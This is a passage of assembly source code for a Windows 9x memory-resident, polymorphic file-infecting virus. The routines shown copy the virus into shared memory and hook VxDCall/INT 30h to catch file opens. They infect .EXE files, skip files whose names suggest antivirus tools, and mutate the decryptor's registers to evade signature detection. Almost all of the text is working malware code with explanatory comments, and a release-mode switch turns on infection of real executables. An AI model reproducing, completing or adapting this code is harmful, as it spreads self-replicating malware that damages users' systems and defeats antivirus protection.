|
||
|
jb Error_RelocateVirus ;No
|
||
|
|
||
|
;Save Address of Region
|
||
|
mov [dwMemoryRegion], eax
|
||
|
|
||
|
;Commit Shared Memory
|
||
|
shr eax, 0Ch ;Page Number
|
||
|
mov esi, [dwDeltaOffset]
|
||
|
call esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \
|
||
|
PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED
|
||
|
or eax,eax
|
||
|
je Error_RelocateVirus
|
||
|
|
||
|
;Copy Virus to Newly Allocate Memory
|
||
|
mov esi, dwDeltaOffset
|
||
|
add esi, offset StartOfVirusCode ;Start Copying From Here
|
||
|
mov edi, [dwMemoryRegion] ;Copy Here
|
||
|
mov ecx, VIRUS_SIZE ;Size to Copy
|
||
|
rep movsb
|
||
|
|
||
|
mov eax, [dwMemoryRegion] ;Return Region of Shared Memory Allocated
|
||
|
jmp End_RelocateVirus
|
||
|
|
||
|
Error_RelocateVirus:
|
||
|
xor eax, eax ;Return 0, since an error occured
|
||
|
|
||
|
End_RelocateVirus:
|
||
|
ret
|
||
|
RelocateVirus ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | InstallHookProcedure | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> This function installs a hook procedure to monitor VxDCalls
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> None.
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None.
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;________________________
|
||
|
InstallHookProcedure PROC
|
||
|
LOCAL dwDeltaOffset:DWORD
|
||
|
|
||
|
@DELTA esi
|
||
|
mov [dwDeltaOffset], esi
|
||
|
|
||
|
;Modify the JMP instruction, so that it points to the address of OldInt30
|
||
|
mov eax, esi
|
||
|
add eax, offset OldInt30Address ;Bytes to modify
|
||
|
mov ebx, esi
|
||
|
add ebx, offset OldInt30 ;Address of OldInt30
|
||
|
mov [eax], ebx ;Modify JMP instruction
|
||
|
|
||
|
;The disassembly of the VxDCall function looks like this:
|
||
|
;
|
||
|
;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h]
|
||
|
;8F 04 24 POP DWORD PTR [ESP]
|
||
|
;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX]
|
||
|
;
|
||
|
;The last instuction points to an INT 30h instruction that is used by
|
||
|
;VxDCall to jump to Ring 0. So, to hook VxDCall's, we must modify the
|
||
|
;address pointed to by the CALL, i.e. XXXXXX, so that it points to our
|
||
|
;code. Before that, we should save the current address, so that we can
|
||
|
;call the old INT 30h
|
||
|
|
||
|
;Trace through VxDCall, until we come to the XXXXXXXX bytes
|
||
|
add esi, offset VxDCall
|
||
|
mov esi, [esi] ;First byte of VxDCall function
|
||
|
mov ecx, 50 ;Scan upto 50 bytes
|
||
|
TraceVxDCall:
|
||
|
lodsb ;Get current byte
|
||
|
cmp al, 2Eh ;First byte of CALL instruction?
|
||
|
jne TraceVxDCall_NextByte ;No, check next byte
|
||
|
cmp word ptr [esi], 1DFFh ;Next two bytes of instruction?
|
||
|
je TraceVxDCall_AddressFound ;Yes
|
||
|
TraceVxDCall_NextByte:
|
||
|
loop TraceVxDCall ;Continue Checking...
|
||
|
|
||
|
TraceVxDCall_AddressFound:
|
||
|
;Save Current INT 30h Address
|
||
|
cli ;Cannot afford to be interrupted
|
||
|
lodsw ;Skip over FF and 1D opcodes of CALL
|
||
|
lodsd ;Pointer to INT 30h instruction, XXXXXXXX
|
||
|
mov esi, eax ;Copy Bytes From Here
|
||
|
mov edi, [dwDeltaOffset]
|
||
|
add edi, offset OldInt30 ;To Here
|
||
|
mov ecx, 6 ;Save 6 bytes, FWORD
|
||
|
rep movsb
|
||
|
|
||
|
;Install New INT 30h Handler
|
||
|
mov edi, eax ;Pointer to INT 30h instruction
|
||
|
mov eax, [dwDeltaOffset]
|
||
|
add eax, offset VxDInt30Handler ;Copy This Address
|
||
|
stosd ;Save 4 bytes ...
|
||
|
mov ax, cs
|
||
|
stosw ;and 2 bytes (since FWORD instruction)
|
||
|
sti ;Handler installed, enable interrupts
|
||
|
ret
|
||
|
InstallHookProcedure ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | VxDInt30Handler | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> This is the hook procedure that monitors VxDCalls (INT 30h)
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> None.
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None.
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;___________________
|
||
|
VxDInt30Handler PROC
|
||
|
pushad ;Save all, since this is an interrupt handler
|
||
|
|
||
|
;Make sure that we don't process our own calls
|
||
|
@OFFSET ebp, VxDCall_Busy
|
||
|
cmp byte ptr [ebp], TRUE ;Is Virus busy
|
||
|
je Exit_VxDInt30Handler ;Yes, prevent re-entrancy
|
||
|
|
||
|
;Process only INT 21h Services
|
||
|
cmp eax, VWIN32_Int21Dispatch ;VWIN32 VxD int 21h?
|
||
|
jne Exit_VxDInt30Handler
|
||
|
|
||
|
mov eax,dword ptr [esp+0000002Ch] ;Get 21h Service
|
||
|
cmp ax, RESIDENCY_CHECK_SERVICE ;Check for Residency?
|
||
|
je Residency_Check ;Yes
|
||
|
cmp ax, LFN_OPEN_FILE_EXTENDED ;LFN Open Extended
|
||
|
je Extended_File_Open
|
||
|
|
||
|
jmp Exit_VxDInt30Handler ;None, go to default handler
|
||
|
|
||
|
Residency_Check:
|
||
|
;Virus Residency Check
|
||
|
popad ;Restore stack and other regs
|
||
|
mov esi, RESIDENCY_SUCCESS ;Tell caller that we're resident
|
||
|
jmp Original_VxDInt30Handler ;Go to original handler
|
||
|
|
||
|
Extended_File_Open:
|
||
|
;Prevent Re-entrancy
|
||
|
@OFFSET eax, VxDCall_Busy
|
||
|
mov byte ptr [eax], TRUE
|
||
|
|
||
|
push esi
|
||
|
call IsFilenameOK, esi
|
||
|
pop esi
|
||
|
or eax, eax
|
||
|
jz File_Not_Executable
|
||
|
|
||
|
;Do Stuff
|
||
|
;call OutputFileName
|
||
|
call InfectFile, esi
|
||
|
|
||
|
File_Not_Executable:
|
||
|
;Finished Processing
|
||
|
@OFFSET eax, VxDCall_Busy
|
||
|
mov byte ptr [eax], FALSE
|
||
|
|
||
|
Exit_VxDInt30Handler:
|
||
|
popad ;Restore, before transfering control
|
||
|
|
||
|
Original_VxDInt30Handler:
|
||
|
;The following bytes will be translated to JMP FWORD PTR CS:[00000000]
|
||
|
DB 2Eh, 0FFh, 2Dh ;JMP FWORD PTR CS:[XXXXXXXX]
|
||
|
OldInt30Address: ;The following 4 bytes will be replaced by the
|
||
|
DB 4 DUP (0) ;address of OldInt30 in memory.
|
||
|
;ret ;Not required, since we're jumping out
|
||
|
VxDInt30Handler ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | IsFilenameOK | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> This function checks if the filename is OK for infection or not. If the
|
||
|
; filename meets any of the folling criteria, this function returns a
|
||
|
; failure.
|
||
|
; * Filename is less than 5 characters. This is checked, because
|
||
|
; we are infecting only .EXE files, so the minimum length of such
|
||
|
; a file is 5 characters
|
||
|
; * The filename must end in ".EXE" (or ".XYZ" for DEBUG mode). The
|
||
|
; comparison is case insensitive
|
||
|
; * The filename must NOT consist of any of the following pairs of
|
||
|
; characters, viz., "AV", "AN", "F-". This is done to prevent
|
||
|
; infection of Anti-Virus program files.
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> ife_szFilename: Address of the buffer where the filename is stored
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> EAX: 1 if the filename is OK, 0 otherwise
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;___________________________________
|
||
|
IsFilenameOK PROC ife_szFilename
|
||
|
LOCAL szExtention[4]:BYTE
|
||
|
|
||
|
;Check Filename Length
|
||
|
mov esi, ife_szFilename
|
||
|
call StringLength, esi ;Get length of filename
|
||
|
cmp eax, 4 ;Is File name less than 5 characters (.EXE)
|
||
|
jl Error_IsFilenameOk ;Yes, Don't infect
|
||
|
push eax ;Save Length of Filename
|
||
|
|
||
|
;Get File Extention
|
||
|
mov eax, [esi + eax - 4] ;File Extention (including ".")
|
||
|
lea edx, szExtention ;Get Address of Extention Buffer
|
||
|
mov [edx], eax ;Store extention in buffer
|
||
|
|
||
|
;Convert to upper case
|
||
|
mov ecx, 3 ;3 characters to be converted
|
||
|
ToUpperCase:
|
||
|
inc edx ;Don't have to check "." for upper case
|
||
|
cmp byte ptr [edx], "a"
|
||
|
jl NextCharacter
|
||
|
cmp byte ptr [edx], "z"
|
||
|
jg NextCharacter
|
||
|
sub byte ptr [edx], "a" - "A" ;Convert to upper case
|
||
|
NextCharacter:
|
||
|
loop ToUpperCase
|
||
|
|
||
|
pop ecx ;Get Length of Filename
|
||
|
|
||
|
;Check the Extention
|
||
|
IF DEBUG
|
||
|
cmp dword ptr [edx - 3], "ZYX." ;Is Extention ".XYZ" (Debug Only)
|
||
|
ELSE
|
||
|
ERR "Release Mode, Executables will be Infected !!!" ;Comment to assemble
|
||
|
cmp dword ptr [edx - 3], "EXE." ;Is Extention ".XYZ" (Release Only)
|
||
|
ENDIF
|
||
|
jne Error_IsFilenameOk ;No, Extention doesn't match
|
||
|
|
||
|
;Check Anti-Virus Program Files
|
||
|
dec ecx ;Since we're checking 2 char, last char not reqd
|
||
|
CheckAntiVirusFiles:
|
||
|
cmp word ptr [esi], "VA" ;"AV"; for NAV (Norton), TBAV (ThunderByte)
|
||
|
je Error_IsFilenameOk
|
||
|
cmp word ptr [esi], "va"
|
||
|
je Error_IsFilenameOk
|
||
|
cmp word ptr [esi], "-F" ;"F-"; for F-PROT
|
||
|
je Error_IsFilenameOk
|
||
|
cmp word ptr [esi], "NA" ;"AN", for SCAN (McAfee), CLEAN
|
||
|
je Error_IsFilenameOk
|
||
|
cmp word ptr [esi], "na"
|
||
|
je Error_IsFilenameOk
|
||
|
inc esi ;Next Character
|
||
|
loop CheckAntiVirusFiles ;Check All
|
||
|
|
||
|
xor eax, eax
|
||
|
inc eax
|
||
|
jmp End_IsFilenameOk
|
||
|
|
||
|
Error_IsFilenameOk:
|
||
|
xor eax, eax
|
||
|
|
||
|
End_IsFilenameOk:
|
||
|
ret
|
||
|
IsFilenameOK ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
OutputFileName PROC
|
||
|
LOCAL dwFilename:DWORD, \
|
||
|
dwDeltaOffset:DWORD
|
||
|
|
||
|
mov [dwFilename], esi
|
||
|
@DELTA esi
|
||
|
mov [dwDeltaOffset], esi
|
||
|
|
||
|
;Create File to write into
|
||
|
mov edx, [dwDeltaOffset]
|
||
|
add edx, offset szOutputFile
|
||
|
mov esi, 0BFF77ADFh
|
||
|
call esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \
|
||
|
0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
|
||
|
cmp eax, INVALID_HANDLE_VALUE
|
||
|
je End_OutputFileName
|
||
|
|
||
|
;Go to end of file
|
||
|
push eax ;Save Handle
|
||
|
mov esi, 0BFF7713Fh ;SetFilePointer
|
||
|
call esi, eax, 0, 0, 2
|
||
|
pop eax ;Restore Handle
|
||
|
|
||
|
;Get Length of FileName
|
||
|
push eax ;Save Handle
|
||
|
mov edx, [dwFilename]
|
||
|
mov esi, 0BFF773ADh ;lstrlen
|
||
|
call esi, edx
|
||
|
mov ebx, eax ;length of filename
|
||
|
pop eax ;Restore Handle
|
||
|
|
||
|
;Write Into File
|
||
|
push eax ;save handle
|
||
|
push eax ;Create Buffer, used for number of bytes written
|
||
|
lea ecx, [esp - 4]
|
||
|
mov edx, [dwFilename]
|
||
|
mov esi,0BFF76FD5h ;WriteFile
|
||
|
call esi, eax, edx, ebx, ecx, 0
|
||
|
pop eax ;Remove Buffer
|
||
|
pop eax ;restore handle
|
||
|
|
||
|
;Close File
|
||
|
mov esi, 0BFF7E064h
|
||
|
call esi, eax
|
||
|
|
||
|
End_OutputFileName:
|
||
|
ret
|
||
|
OutputFileName ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | IsVirusActive | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> This function returns 1 if the virus is active in memory, else returns
|
||
|
; 0. This function also saves the address of the VxDCall API.
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> None.
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> EAX: 1 if the Virus is Resident. 0 otherwise
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;_________________
|
||
|
IsVirusActive PROC
|
||
|
call GetAddressOfKernelAPI, 0 ;Get Address Of VxDCall API
|
||
|
test eax, eax ;Found Address ?
|
||
|
jz End_IsVirusActive ;No, Return 0
|
||
|
|
||
|
;Save address of VxDCall API
|
||
|
@OFFSET ebx, VxDCall
|
||
|
mov [ebx], eax ;Save Address
|
||
|
|
||
|
;Check if Virus is Already Resident
|
||
|
@CALL_INT21h RESIDENCY_CHECK_SERVICE
|
||
|
xor eax, eax ;Assume not resident
|
||
|
cmp esi, RESIDENCY_SUCCESS ;Is Virus Resident
|
||
|
jne End_IsVirusActive ;No, return 0
|
||
|
inc eax ;Yes, return 1
|
||
|
|
||
|
End_IsVirusActive:
|
||
|
ret
|
||
|
IsVirusActive ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | GetFileHeaders | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> This function retreives the address of various file headers, viz.,
|
||
|
; Image File Header, Image Optional Header, Last Section Header,
|
||
|
; Image Export Directory. The function fails if the specified file is
|
||
|
; not a Portable Executable (PE) file
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are
|
||
|
; required.
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> EAX: Address of the Image File Header, or 0 if the function failed
|
||
|
; -> EBX: Address of the Image Optional Header
|
||
|
; -> ECX: Address of the Last Sections Header
|
||
|
; -> EDX: Address of the Image Export Directory
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> All
|
||
|
;_______________________________________
|
||
|
GetFileHeaders PROC gfh_dwFileBase:DWORD
|
||
|
LOCAL dwIOH:DWORD, \
|
||
|
dwIED:DWORD, \
|
||
|
|
||
|
mov esi, [gfh_dwFileBase]
|
||
|
cmp word ptr [esi], "ZM" ;Is EXE/DLL Present ?
|
||
|
jne Error_GetFileHeaders ;No
|
||
|
|
||
|
;Check for PE Signature
|
||
|
add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew
|
||
|
cmp dword ptr [esi], "EP" ;PE File ?
|
||
|
jne Error_GetFileHeaders ;No
|
||
|
|
||
|
;Get Image Optional Header
|
||
|
add esi, IMAGE_SIZEOF_NT_SIGNATURE ;Image File Header
|
||
|
push esi ;Save Image File Header
|
||
|
add esi, SIZE IMAGE_FILE_HEADER ;Image Optional Header
|
||
|
mov [dwIOH], esi ;Save
|
||
|
|
||
|
;Get the Address of the Image Export Directory
|
||
|
mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;RVA Image Export Directory
|
||
|
add esi, [gfh_dwFileBase]
|
||
|
mov dword ptr [dwIED], esi
|
||
|
|
||
|
;Get Address of Last Section Header
|
||
|
pop esi ;Get Image File header
|
||
|
movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader
|
||
|
add ecx, [dwIOH] ;Address of First Section Header
|
||
|
movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections
|
||
|
dec eax ;Number of Sections - 1
|
||
|
imul eax, eax, SIZE IMAGE_SECTION_HEADER ;Size of All Section Headers
|
||
|
;mov ebx, SIZE IMAGE_SECTION_HEADER
|
||
|
;mul ebx ;Size of All Section Headers
|
||
|
add ecx, eax ;Address of Last Section Header
|
||
|
|
||
|
;Return Header Values
|
||
|
mov eax, esi ;Image File Header
|
||
|
mov ebx, [dwIOH]
|
||
|
mov edx, [dwIED]
|
||
|
|
||
|
jmp End_GetFileHeaders
|
||
|
|
||
|
Error_GetFileHeaders:
|
||
|
xor eax, eax ;Error, Return 0
|
||
|
|
||
|
End_GetFileHeaders:
|
||
|
ret
|
||
|
GetFileHeaders ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | MutateDecryptor | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> This function modifies the registers used in the decryptor, to make it
|
||
|
; polymorphic. The decrypor uses two registers; one as an index, and the
|
||
|
; other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are
|
||
|
; used as random registers. The opcodes are generated in the following way.
|
||
|
; First the opcode is calculated using register EAX; e.g. the opcode for
|
||
|
; POP EAX is 58h. To generate the opcodes for the other registers, we add
|
||
|
; the number of the register. The number for EDX is 2. Adding this to 58h,
|
||
|
; we get 5Ah, which is the opcode for POP EDX
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> EDI: Start of decrypor that need to be mutated
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> None
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> AX, BL
|
||
|
;___________________
|
||
|
MutateDecryptor PROC
|
||
|
;Get Two Random Registers
|
||
|
call RandomRegister ;Get First Register Number
|
||
|
mov ah, al ;Save It
|
||
|
GetAnotherRegister:
|
||
|
call RandomRegister ;Get Second Register Number
|
||
|
cmp ah, al ;Is it the same as First
|
||
|
je GetAnotherRegister ;Yes, get another one
|
||
|
|
||
|
;Modify Decryptor, so that it uses the new registers
|
||
|
mov bl, 58h ;Change "pop <register1>"
|
||
|
add bl, al ;Register 1
|
||
|
mov byte ptr [edi + 5], bl
|
||
|
mov bl, 0C0h ;Change "add <register1>, ..."
|
||
|
add bl, al ;Register 1
|
||
|
mov byte ptr [edi + 7], bl
|
||
|
mov bl, 0B8h ;Change "mov <register2>, ..."
|
||
|
add bl, ah ;Register 2
|
||
|
mov byte ptr [edi + 9], bl
|
||
|
mov bl, 30h ;Change "xor byte ptr [<register1>], ..."
|
||
|
add bl, al ;Register 1
|
||
|
mov byte ptr [edi + 15], bl
|
||
|
mov bl, 40h ;Change "inc <register1>"
|
||
|
add bl, al ;Register 1
|
||
|
mov byte ptr [edi + 17], bl
|
||
|
mov bl, 48h ;Change "dec <register2>"
|
||
|
add bl, ah ;Register 2
|
||
|
mov byte ptr [edi + 18], bl
|
||
|
|
||
|
ret
|
||
|
MutateDecryptor ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | RandomRegister | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
; Description
|
||
|
; -> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of
|
||
|
; these values is used to identify a register.
|
||
|
; EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7
|
||
|
;
|
||
|
; Arguments
|
||
|
; -> None.
|
||
|
;
|
||
|
; Return Value:
|
||
|
; -> AL: Random number (0, 1, 2, 3, 6 or 7)
|
||
|
;
|
||
|
; Registers Destroyed
|
||
|
; -> AL
|
||
|
;__________________
|
||
|
RandomRegister PROC
|
||
|
NewRandom:
|
||
|
in al, 40h ;Get Random Number
|
||
|
and al,00000111b ;Maximum value 7
|
||
|
cmp al, 4 ;Should not be 4...
|
||
|
je NewRandom
|
||
|
cmp al, 5 ;...or 5
|
||
|
je NewRandom
|
||
|
ret
|
||
|
RandomRegister ENDP
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;| | | |
|
||
|
;| | End Of Virus Code | |
|
||
|
;| | | |
|
||
|
;| +------------------------------------------------------------------------+ |
|
||
|
;+----------------------------------------------------------------------------+
|
||
|
VIRUS_SIZE EQU $ - offset StartOfVirusCode
|
||
|
ENCRYPTED_SIZE EQU $ - offset EncryptedVirusCode
|
||
|
LOADER_SIZE EQU VIRUS_SIZE - ENCRYPTED_SIZE
|
||
|
VIRUS_SIZE_PAGES EQU (VIRUS_SIZE / PAGE_SIZE) + 1
|
||
|
END StartOfVirusCode
|